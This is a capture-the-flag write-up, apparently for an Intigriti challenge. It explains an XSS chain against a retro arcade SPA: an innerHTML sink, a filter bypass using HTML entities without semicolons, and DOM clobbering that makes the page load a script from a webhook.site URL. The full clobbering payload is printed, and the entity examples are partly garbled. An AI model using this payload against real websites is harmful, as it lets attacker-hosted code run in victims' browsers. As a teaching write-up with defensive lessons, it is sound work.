TL;DR: DOM Clobbering via innerHTML on the username field + "SCA Shield" bypass using semicolon-less HTML entities + Protocol-relative URLs = Arbitrary JS execution and a very noisy alert box.
The challenge dropped us into Pixel Pioneers, a retro-themed arcade SPA. It looked slick, but as soon as I saw "Powered by SCA Shield v1.0" in the footer, I knew I was in for a fight with some overzealous regex.
I started by auditing the SPA routing in app.js. The logic for the community feed caught my eye immediately:
data.forEach(t => {
let nameDiv = document.createElement('div');
nameDiv.className = 'user-name';
nameDiv.innerHTML = t.user_name; // ๐ฉ DANGER WILL ROBINSON
let textDiv = document.createElement('div');
textDiv.className = 'user-text';
textDiv.innerHTML = DOMPurify.sanitize(t.content); // ๐ก๏ธ Properly sanitized
// ... append to container
});Wait, t.content is protected by DOMPurify, but t.user_name is just tossed into innerHTML like yesterday's trash? That's our entry point. But first, we had to deal with the "Shield."
I tried to update my profile name to something spicy, and the SCA Shield slapped me with:
"SCA Shield: Malicious characters detected! Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden."
It wasn't just checking characters; it was also checking for "payload signatures" like data:, alert, and scriptUrl.
The Bypass:
The shield was clever, but the browser's HTML parser is a chaotic neutral deity. I realized that if I used semicolon-less HTML entities, I could smuggle forbidden characters past the shield. Since the browser decodes these entities when innerHTML is set, they become functional again!
.(dot) ->.(No semicolon needed!)((open paren) ->(scriptUrl->scriptUrl(Bypasses keyword detection)
Now I had an injection point, but I needed a gadget. Looking further down in loadTestimonials(), I found this beauty:
let config = window.PixelAnalyticsConfig || { enabled: false, scriptUrl: '/js/mock-tracker.js' };
if (config.enabled) {
let s = document.createElement('script');
s.src = config.scriptUrl;
document.body.appendChild(s);
}This is a classic DOM Clobbering setup. If I can inject an element with id="PixelAnalyticsConfig", I can control the config object.
By injecting two <a> tags:
- One with
name="enabled"-> Makesconfig.enabledtruthy. - One with
name="scriptUrl"and anhref-> When assigned tos.src, the browser calls.toString()on the anchor element, which returns the absolute URL in thehref.
The final exploit chain looked like this:
- Inject Clobber Payload: Set the profile name to a string of semicolon-less entities that build our clobbering anchors.
- Bypass URL Filter: Use a protocol-relative URL (
//) to point to my webhook, avoiding more dots. - Trigger the Load: Post a testimonial. The app renders my malicious name, clobbers
window.PixelAnalyticsConfig, and thetrackerlogic dutifully loads my script.
The Final Payload:
<a id=PixelAnalyticsConfig name=enabled></a><a id=PixelAnalyticsConfig name=scriptUrl href=//webhook.site/c569f26d-206e-403e-b318-6c768035cf30></a>
I configured my webhook to return alert(document.domain) with a Content-Type: application/javascript.
I refreshed the testimonials page, and...
Success! The "Shield" was no match for some 90s-style HTML entity smuggling.
- innerHTML is never safe, even if you think the input is "just a username."
- Blacklisting characters is a losing game. Browser parsers are too flexible.
- Global variables are targets. If you're using a global config object,
Object.freeze()it or move it out of the global scope to prevent DOM Clobbering.
Thanks to Intigriti for another blast from the past! ๐น๏ธ๐